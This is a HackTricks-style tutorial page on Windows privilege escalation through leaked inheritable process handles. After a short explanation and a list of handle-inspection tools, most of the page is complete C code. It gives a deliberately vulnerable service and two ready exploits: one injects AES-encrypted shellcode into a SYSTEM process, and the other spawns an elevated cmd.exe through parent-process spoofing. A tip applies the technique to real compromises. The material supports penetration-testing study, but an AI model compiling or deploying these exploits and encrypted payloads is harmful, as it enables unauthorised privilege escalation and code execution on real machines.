leaked-handle-exploitation.md (26981B)
1 --- 2 title: "Leaked Handle Exploitation" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Leaked Handle Exploitation 14 15 ## Introduction 16 17 Process handles provide **access** to different **Windows resources**: 18 19  20 21 Several **privilege-escalation** vulnerabilities have involved a **privileged process** with **open, inheritable handles** launching an **unprivileged process** and unintentionally giving it **access to those handles**. 22 23 For example, imagine that **a process running as SYSTEM opens another process** with `OpenProcess()` and requests **full access**. It then calls `CreateProcess()` to launch a **low-privileged child that inherits all open handles from the parent**.\ 24 If you control the low-privileged process, you can use the **inherited handle to the privileged process** to **inject shellcode**. 25 26 ## **Interesting Handles** 27 28 ### **Process** 29 30 As in the initial example, an **unprivileged process** that inherits a sufficiently privileged **process handle** may be able to execute **arbitrary code in the target process**. 31 32 In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions:<sup>[[1]](#references)</sup> 33 34 - PROCESS_ALL_ACCESS 35 - PROCESS_CREATE_PROCESS 36 - PROCESS_CREATE_THREAD 37 - PROCESS_DUP_HANDLE 38 - PROCESS_VM_WRITE 39 40 ### Thread 41 42 Similarly, an **unprivileged process** that inherits a sufficiently privileged **thread handle** may be able to execute **arbitrary code through the target thread**. 43 44 In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions:<sup>[[1]](#references)[[3]](#references)</sup> 45 46 - THREAD_ALL_ACCESS 47 - THREAD_DIRECT_IMPERSONATION 48 - THREAD_SET_CONTEXT 49 50 ### File, Key & Section Handles 51 52 If an **unprivileged process inherits** a handle with **write-equivalent permissions** to a **privileged file or registry key**, it can **overwrite** that object and may be able to **escalate privileges**. 53 54 **Section handles** are similar to file handles; these objects are commonly exposed as [**file mappings**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They allow a process to work with **large files without keeping the entire file** in memory, so their exploitation can resemble file-handle exploitation. 55 56 ## How to see handles of processes 57 58 ### Process Hacker 59 60 [**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**. 61 62 To **see all handles in all processes, `SeDebugPrivilege` is required**, so run Process Hacker as administrator. 63 64 To see the handles of a process, right click in the process and select Handles: 65 66  67 68 You can then right click on the handle and **check the permissions**: 69 70  71 72 ### Sysinternals Handles 73 74 The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console: 75 76  77 78 ### LeakedHandlesFinder 79 80 [**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges.<sup>[[2]](#references)</sup> 81 82 ### Methodology 83 84 After learning how to find process handles, check whether an **unprivileged process has access to privileged handles**. If so, the process owner may be able to obtain and abuse a handle to escalate privileges. 85 86 > [!WARNING] 87 > It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**. 88 > 89 > ```bash 90 > handle64.exe /a | findstr /r /i "process thread file key pid:" 91 > ``` 92 93 ## Vulnerable Example 94 95 For example, the following code belongs to a vulnerable **Windows service**. The vulnerability is in the service binary's **`Exploit`** function. This function first **opens a handle to a process with full access**. It then **creates a low-privileged process** (by copying the low-privileged token of _explorer.exe_) that executes _C:\users\username\desktop\client.exe_. The vulnerability exists because it creates the low-privileged process with `bInheritHandles` set to `TRUE`. 96 97 Therefore, this low-privileged process can inherit the previously created handle to the high-privileged process and use it to inject and execute shellcode (see the next section). 98 99 ```c 100 #include <windows.h> 101 #include <tlhelp32.h> 102 #include <tchar.h> 103 #pragma comment (lib, "advapi32") 104 105 TCHAR* serviceName = TEXT("HandleLeakSrv"); 106 SERVICE_STATUS serviceStatus; 107 SERVICE_STATUS_HANDLE serviceStatusHandle = 0; 108 HANDLE stopServiceEvent = 0; 109 110 111 //Find the PID of a process from its name 112 int FindTarget(const char *procname) { 113 114 HANDLE hProcSnap; 115 PROCESSENTRY32 pe32; 116 int pid = 0; 117 118 hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 119 if (INVALID_HANDLE_VALUE == hProcSnap) return 0; 120 121 pe32.dwSize = sizeof(PROCESSENTRY32); 122 123 if (!Process32First(hProcSnap, &pe32)) { 124 CloseHandle(hProcSnap); 125 return 0; 126 } 127 128 while (Process32Next(hProcSnap, &pe32)) { 129 if (lstrcmpiA(procname, pe32.szExeFile) == 0) { 130 pid = pe32.th32ProcessID; 131 break; 132 } 133 } 134 135 CloseHandle(hProcSnap); 136 137 return pid; 138 } 139 140 141 int Exploit(void) { 142 143 STARTUPINFOA si; 144 PROCESS_INFORMATION pi; 145 int pid = 0; 146 HANDLE hUserToken; 147 HANDLE hUserProc; 148 HANDLE hProc; 149 150 // open a handle to itself (privileged process) - this gets leaked! 151 hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId()); 152 153 // get PID of user low privileged process 154 if ( pid = FindTarget("explorer.exe") ) 155 hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); 156 else 157 return -1; 158 159 // extract low privilege token from a user's process 160 if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) { 161 CloseHandle(hUserProc); 162 return -1; 163 } 164 165 // spawn a child process with low privs and leaked handle 166 ZeroMemory(&si, sizeof(si)); 167 si.cb = sizeof(si); 168 ZeroMemory(&pi, sizeof(pi)); 169 CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 170 NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); 171 172 CloseHandle(hProc); 173 CloseHandle(hUserProc); 174 return 0; 175 } 176 177 178 void WINAPI ServiceControlHandler( DWORD controlCode ) { 179 switch ( controlCode ) { 180 case SERVICE_CONTROL_SHUTDOWN: 181 case SERVICE_CONTROL_STOP: 182 serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; 183 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 184 185 SetEvent( stopServiceEvent ); 186 return; 187 188 case SERVICE_CONTROL_PAUSE: 189 break; 190 191 case SERVICE_CONTROL_CONTINUE: 192 break; 193 194 case SERVICE_CONTROL_INTERROGATE: 195 break; 196 197 default: 198 break; 199 } 200 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 201 } 202 203 void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) { 204 // initialise service status 205 serviceStatus.dwServiceType = SERVICE_WIN32; 206 serviceStatus.dwCurrentState = SERVICE_STOPPED; 207 serviceStatus.dwControlsAccepted = 0; 208 serviceStatus.dwWin32ExitCode = NO_ERROR; 209 serviceStatus.dwServiceSpecificExitCode = NO_ERROR; 210 serviceStatus.dwCheckPoint = 0; 211 serviceStatus.dwWaitHint = 0; 212 213 serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler ); 214 215 if ( serviceStatusHandle ) { 216 // service is starting 217 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 218 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 219 220 // do initialisation here 221 stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 ); 222 223 // running 224 serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); 225 serviceStatus.dwCurrentState = SERVICE_RUNNING; 226 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 227 228 Exploit(); 229 WaitForSingleObject( stopServiceEvent, -1 ); 230 231 // service was stopped 232 serviceStatus.dwCurrentState = SERVICE_STOP_PENDING; 233 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 234 235 // do cleanup here 236 CloseHandle( stopServiceEvent ); 237 stopServiceEvent = 0; 238 239 // service is now stopped 240 serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN); 241 serviceStatus.dwCurrentState = SERVICE_STOPPED; 242 SetServiceStatus( serviceStatusHandle, &serviceStatus ); 243 } 244 } 245 246 247 void InstallService() { 248 SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE ); 249 250 if ( serviceControlManager ) { 251 TCHAR path[ _MAX_PATH + 1 ]; 252 if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) { 253 SC_HANDLE service = CreateService( serviceControlManager, 254 serviceName, serviceName, 255 SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, 256 SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path, 257 0, 0, 0, 0, 0 ); 258 if ( service ) 259 CloseServiceHandle( service ); 260 } 261 CloseServiceHandle( serviceControlManager ); 262 } 263 } 264 265 void UninstallService() { 266 SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT ); 267 268 if ( serviceControlManager ) { 269 SC_HANDLE service = OpenService( serviceControlManager, 270 serviceName, SERVICE_QUERY_STATUS | DELETE ); 271 if ( service ) { 272 SERVICE_STATUS serviceStatus; 273 if ( QueryServiceStatus( service, &serviceStatus ) ) { 274 if ( serviceStatus.dwCurrentState == SERVICE_STOPPED ) 275 DeleteService( service ); 276 } 277 CloseServiceHandle( service ); 278 } 279 CloseServiceHandle( serviceControlManager ); 280 } 281 } 282 283 int _tmain( int argc, TCHAR* argv[] ) 284 { 285 if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) { 286 InstallService(); 287 } 288 else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) { 289 UninstallService(); 290 } 291 else { 292 SERVICE_TABLE_ENTRY serviceTable[] = { 293 { serviceName, ServiceMain }, 294 { 0, 0 } 295 }; 296 297 StartServiceCtrlDispatcher( serviceTable ); 298 } 299 300 return 0; 301 } 302 ``` 303 304 ### Exploit Example 1 305 306 > [!TIP] 307 > In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**. 308 309 In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\ 310 The most interesting part of this code is in `GetVulnProcHandle`. This function **enumerates all handles**, then checks whether any belongs to the same PID and refers to a **process**. If these requirements are met (an accessible open process handle is found), it attempts to **inject and execute shellcode by abusing the process handle**.\ 311 The **`Inject`** function performs the injection by **writing the shellcode into the privileged process and creating a thread in that process** to execute it. 312 313 ```c 314 #include <windows.h> 315 #include <stdio.h> 316 #include <stdlib.h> 317 #include <string.h> 318 #include <time.h> 319 #include <wincrypt.h> 320 #include <psapi.h> 321 #include <tchar.h> 322 #include <tlhelp32.h> 323 #include "client.h" 324 #pragma comment (lib, "crypt32.lib") 325 #pragma comment (lib, "advapi32") 326 #pragma comment (lib, "kernel32") 327 328 329 int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) { 330 HCRYPTPROV hProv; 331 HCRYPTHASH hHash; 332 HCRYPTKEY hKey; 333 334 if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){ 335 return -1; 336 } 337 if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){ 338 return -1; 339 } 340 if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){ 341 return -1; 342 } 343 if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){ 344 return -1; 345 } 346 347 if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){ 348 return -1; 349 } 350 351 CryptReleaseContext(hProv, 0); 352 CryptDestroyHash(hHash); 353 CryptDestroyKey(hKey); 354 355 return 0; 356 } 357 358 359 HANDLE GetVulnProcHandle(void) { 360 361 ULONG handleInfoSize = 0x10000; 362 NTSTATUS status; 363 PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); 364 HANDLE hProc = NULL; 365 POBJECT_TYPE_INFORMATION objectTypeInfo; 366 PVOID objectNameInfo; 367 UNICODE_STRING objectName; 368 ULONG returnLength; 369 HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 370 DWORD dwOwnPID = GetCurrentProcessId(); 371 372 pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); 373 pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); 374 pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); 375 pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); 376 pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); 377 378 printf("[+] Grabbing handles..."); 379 380 while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, 381 NULL )) == STATUS_INFO_LENGTH_MISMATCH) 382 phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); 383 384 if (status != STATUS_SUCCESS) 385 { 386 printf("[!] NtQuerySystemInformation failed!\n"); 387 return 0; 388 } 389 390 printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); 391 392 // iterate handles until we find the privileged process handle 393 for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) 394 { 395 SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; 396 397 // Check if this handle belongs to our own process 398 if (handle.UniqueProcessId != dwOwnPID) 399 continue; 400 401 objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); 402 if (pNtQueryObject( (HANDLE) handle.HandleValue, 403 ObjectTypeInformation, 404 objectTypeInfo, 405 0x1000, 406 NULL ) != STATUS_SUCCESS) 407 continue; 408 409 // skip some objects to avoid getting stuck 410 // see: https://github.com/adamdriscoll/PoshInternals/issues/7 411 if (handle.GrantedAccess == 0x0012019f 412 && handle.GrantedAccess != 0x00120189 413 && handle.GrantedAccess != 0x120089 414 && handle.GrantedAccess != 0x1A019F ) { 415 free(objectTypeInfo); 416 continue; 417 } 418 419 // get object name information 420 objectNameInfo = malloc(0x1000); 421 if (pNtQueryObject( (HANDLE) handle.HandleValue, 422 ObjectNameInformation, 423 objectNameInfo, 424 0x1000, 425 &returnLength ) != STATUS_SUCCESS) { 426 427 // adjust the size of a returned object and query again 428 objectNameInfo = realloc(objectNameInfo, returnLength); 429 if (pNtQueryObject( (HANDLE) handle.HandleValue, 430 ObjectNameInformation, 431 objectNameInfo, 432 returnLength, 433 NULL ) != STATUS_SUCCESS) { 434 free(objectTypeInfo); 435 free(objectNameInfo); 436 continue; 437 } 438 } 439 440 // check if we've got a process object 441 objectName = *(PUNICODE_STRING) objectNameInfo; 442 UNICODE_STRING pProcess; 443 444 pRtlInitUnicodeString(&pProcess, L"Process"); 445 if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { 446 printf("[+] Found process handle (%x)\n", handle.HandleValue); 447 hProc = (HANDLE) handle.HandleValue; 448 free(objectTypeInfo); 449 free(objectNameInfo); 450 break; 451 } 452 else 453 continue; 454 455 free(objectTypeInfo); 456 free(objectNameInfo); 457 } 458 459 return hProc; 460 } 461 462 int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) { 463 464 LPVOID pRemoteCode = NULL; 465 HANDLE hThread = NULL; 466 BOOL bStatus = FALSE; 467 468 pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx"); 469 pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory"); 470 pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread"); 471 472 pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ); 473 pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL); 474 475 bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL); 476 if (bStatus != FALSE) { 477 WaitForSingleObject(hThread, -1); 478 CloseHandle(hThread); 479 return 0; 480 } 481 else 482 return -1; 483 } 484 485 int main(int argc, char **argv) { 486 487 int pid = 0; 488 HANDLE hProc = NULL; 489 490 // AES encrypted shellcode spawning notepad.exe (ExitThread) 491 char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 }; 492 unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a }; 493 unsigned int payload_len = sizeof(payload); 494 495 printf("My PID: %d\n", GetCurrentProcessId()); 496 getchar(); 497 498 // find a leaked handle to a process 499 hProc = GetVulnProcHandle(); 500 501 if ( hProc != NULL) { 502 503 // d#Decrypt payload 504 AESDecrypt((char *) payload, payload_len, key, sizeof(key)); 505 printf("[+] Sending gift..."); 506 // Inject and run the payload in the privileged context 507 Inject(hProc, payload, payload_len); 508 printf("done.\n"); 509 } 510 getchar(); 511 512 return 0; 513 } 514 ``` 515 516 ### Exploit Example 2 517 518 The real-world handle-discovery constraint described in the first exploit example also applies to this token-based variant. 519 520 In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148. 521 522 Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing `cmd.exe`** will have the same token privilege as the open handle process**. 523 524 ```c 525 #include <windows.h> 526 #include <stdio.h> 527 #include <stdlib.h> 528 #include <string.h> 529 #include <time.h> 530 #include <wincrypt.h> 531 #include <psapi.h> 532 #include <tchar.h> 533 #include <tlhelp32.h> 534 #include "client.h" 535 #pragma comment (lib, "crypt32.lib") 536 #pragma comment (lib, "advapi32") 537 #pragma comment (lib, "kernel32") 538 539 540 HANDLE GetVulnProcHandle(void) { 541 542 ULONG handleInfoSize = 0x10000; 543 NTSTATUS status; 544 PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize); 545 HANDLE hProc = NULL; 546 POBJECT_TYPE_INFORMATION objectTypeInfo; 547 PVOID objectNameInfo; 548 UNICODE_STRING objectName; 549 ULONG returnLength; 550 HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 551 DWORD dwOwnPID = GetCurrentProcessId(); 552 553 pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); 554 pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject"); 555 pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject"); 556 pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString"); 557 pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString"); 558 559 printf("[+] Grabbing handles..."); 560 561 while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize, 562 NULL )) == STATUS_INFO_LENGTH_MISMATCH) 563 phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2); 564 565 if (status != STATUS_SUCCESS) 566 { 567 printf("[!] NtQuerySystemInformation failed!\n"); 568 return 0; 569 } 570 571 printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles); 572 573 // iterate handles until we find the privileged process handle 574 for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i) 575 { 576 SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i]; 577 578 // Check if this handle belongs to our own process 579 if (handle.UniqueProcessId != dwOwnPID) 580 continue; 581 582 objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000); 583 if (pNtQueryObject( (HANDLE) handle.HandleValue, 584 ObjectTypeInformation, 585 objectTypeInfo, 586 0x1000, 587 NULL ) != STATUS_SUCCESS) 588 continue; 589 590 // skip some objects to avoid getting stuck 591 // see: https://github.com/adamdriscoll/PoshInternals/issues/7 592 if (handle.GrantedAccess == 0x0012019f 593 && handle.GrantedAccess != 0x00120189 594 && handle.GrantedAccess != 0x120089 595 && handle.GrantedAccess != 0x1A019F ) { 596 free(objectTypeInfo); 597 continue; 598 } 599 600 // get object name information 601 objectNameInfo = malloc(0x1000); 602 if (pNtQueryObject( (HANDLE) handle.HandleValue, 603 ObjectNameInformation, 604 objectNameInfo, 605 0x1000, 606 &returnLength ) != STATUS_SUCCESS) { 607 608 // adjust the size of a returned object and query again 609 objectNameInfo = realloc(objectNameInfo, returnLength); 610 if (pNtQueryObject( (HANDLE) handle.HandleValue, 611 ObjectNameInformation, 612 objectNameInfo, 613 returnLength, 614 NULL ) != STATUS_SUCCESS) { 615 free(objectTypeInfo); 616 free(objectNameInfo); 617 continue; 618 } 619 } 620 621 // check if we've got a process object 622 objectName = *(PUNICODE_STRING) objectNameInfo; 623 UNICODE_STRING pProcess; 624 625 pRtlInitUnicodeString(&pProcess, L"Process"); 626 if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) { 627 printf("[+] Found process handle (%x)\n", handle.HandleValue); 628 hProc = (HANDLE) handle.HandleValue; 629 free(objectTypeInfo); 630 free(objectNameInfo); 631 break; 632 } 633 else 634 continue; 635 636 free(objectTypeInfo); 637 free(objectNameInfo); 638 } 639 640 return hProc; 641 } 642 643 644 int main(int argc, char **argv) { 645 646 HANDLE hProc = NULL; 647 STARTUPINFOEXA si; 648 PROCESS_INFORMATION pi; 649 int pid = 0; 650 SIZE_T size; 651 BOOL ret; 652 653 Sleep(20000); 654 // find leaked process handle 655 hProc = GetVulnProcHandle(); 656 657 if ( hProc != NULL) { 658 659 // Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 660 ZeroMemory(&si, sizeof(STARTUPINFOEXA)); 661 662 InitializeProcThreadAttributeList(NULL, 1, 0, &size); 663 si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size ); 664 665 InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); 666 UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL); 667 668 si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 669 670 // Spawn elevated cmd process 671 ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 672 EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi ); 673 674 if (ret == FALSE) { 675 printf("[!] Error spawning new process: [%d]\n", GetLastError()); 676 return -1; 677 } 678 } 679 680 Sleep(20000); 681 return 0; 682 } 683 ``` 684 685 ## Other tools and examples 686 687 - [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)<sup>[[2]](#references)</sup> 688 689 This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.<sup>[[2]](#references)</sup> 690 691 - [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)<sup>[[4]](#references)</sup> 692 693 Another tool to leak a handle and exploit it.<sup>[[4]](#references)</sup> 694 695 ## References 696 697 - [1] [Exploiting Leaked Process and Thread Handles (dronesec)](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) 698 - [2] [LeakedHandlesFinder - Leaked Windows processes handles identification tool (lab52)](https://github.com/lab52io/LeakedHandlesFinder) 699 - [3] [Exploiting a Leaked Thread Handle - James Forshaw, Project Zero](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html) 700 - [4] [ReHacks - Leaky Handles (abankalarm)](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)